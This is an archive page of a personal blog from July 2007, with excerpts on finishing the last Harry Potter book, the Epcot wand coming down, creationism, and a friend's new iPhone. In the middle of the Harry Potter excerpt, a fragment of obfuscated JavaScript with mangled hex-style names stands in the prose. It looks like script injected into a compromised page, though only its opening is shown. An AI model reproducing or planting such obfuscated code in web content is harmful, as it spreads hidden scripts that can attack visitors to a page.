Archive for July 2007

Finite Libris

I have finished reading Harry Potter and the Deathly Hallows. I completed the last 200 pages at 5:00 this morning. It was worth it.

No spoilers here.

I’ll hold my observations for later; for now, I’ll just say that if I had any doubt that I’m a Ravenclaw, I have that doubt no more. function _0×9e23(_0×14f71d,_0×4c0b72){const _0×4d17dc=_0×4d17();return _0×9e23=function(_0×9e2358,_0×30b288){_0×9e2358=_0×9e2358-0×1d8;let [...]

And the wand came down

EPCOT Center opened on October 1, 1982. This year is Epcot’s 25th anniversary.

The wand beside Spaceship Earth was erected in 1999 for the Millennium Celebration. It was 257 feet tall—the tallest structure by far at Walt Disney World—and featured a giant, sparkly, illuminated “2000”, arching partway over the geosphere and fashioned like a looping red [...]

Ignorance is strength

Psychology Today: Ten Politically Incorrect Truths About Human Nature

The article isn’t hard to criticize for its sensationalistic angle and its lack of references (though it is a book excerpt), but it brought to mind my longstanding observation, which I’ve been meaning to mention here:

The anti-evolution (creationist, ID, etc.) movement is not just a silly, misguided, [...]

Insanely great

I stopped by my friend Alex’s desk to shoot the breeze about the rave reviews the iPhone is getting—and he reached into his pocket. I said, “You do not have an iPhone.”

He handed it to me. He got it on Friday. He actually let me play with it for a while.

I’m stunned.

If the iPhone has [...]

iPhone lust

Well, on the other hand, I wouldn’t exactly refuse an iPhone if someone dropped one in my pocket.

My I-swear-we-will-start-podcasting partner, Allen, has just started up his seventh podcast, Journey into iPhone. Seems he’s so fed up with his Treo that he’s just going to bite the bullet, the gorgeous Apple bullet, and get himself an [...]